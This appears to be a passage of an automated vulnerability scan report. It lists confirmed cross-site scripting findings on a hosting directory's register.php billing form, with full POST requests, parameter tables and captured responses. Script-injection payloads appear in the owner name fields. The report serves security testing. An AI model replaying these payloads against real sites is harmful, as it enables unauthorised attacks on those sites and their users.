phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='306538BB3F31E61FC13FB64898035905C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='306538BB3F31E61F5EC6558EF9A40DCB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='306538BB3F31E61F44B53E97421F4D6CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F5739995C8210E8B5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='306538BB3F31E61FC3EE557FCE332B856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='306538BB3F31E61F5A866D4887C43D68C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='306538BB3F31E61FEB5302476A9806D1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='306538BB3F31E61FFAF1E2CE6EFFDC6A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='306538BB3F31E61F44A9FAA21F921CABC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='306538BB3F31E61FC2913D1566BB9BEF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='306538BB3F31E61F46F64750E2EA089FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='306538BB3F31E61FAE755950514A6BFDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='306538BB3F31E61F8B0ED92E5EA7174DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F4DC402FE12EEFF44C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='306538BB3F31E61F00BE9715E62B848AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='306538BB3F31E61F90B455B99184080EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='306538BB3F31E61F9A3718314C4013A96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='306538BB3F31E61FAF2C9A5F84EA01A26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='306538BB3F31E61FEEC6C38C260ED1616F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST '"--></style></script><script>alert(0x001F0B)</script>
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 542
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F0B)%3c%2fscript%3e&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='306538BB3F31E61F5474AFED60321933C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='306538BB3F31E61F2CE3C48C8924FBEE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='306538BB3F31E61F0776FB573D481901C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F7E65D605C326A652C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='306538BB3F31E61FCECA730BA658F7D56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='306538BB3F31E61FFA89DC2928CBA9C0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='306538BB3F31E61F05DC966F9AC271F3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='306538BB3F31E61F857A5DCCE64F883E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='306538BB3F31E61FFA75E51E60CF1ACDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='306538BB3F31E61F8732319DDFD2B4B86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='306538BB3F31E61FDC1752C72CDB8E54C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='306538BB3F31E61FC3AB18F2760A14B1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='306538BB3F31E61FCED1C1BFE4CFA0EAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F09AA34A6696A3947C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='306538BB3F31E61F38D25091421132B5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='306538BB3F31E61FB7E25E2774DA0F8BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='306538BB3F31E61F842FA774765936C66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='306538BB3F31E61FAA6319E9999A52E86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='306538BB3F31E61F79623661ABEB22BD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST '"--></style></script><script>alert(0x001F0C)</script>
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 542
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F0C)%3c%2fscript%3e&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:02:20 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


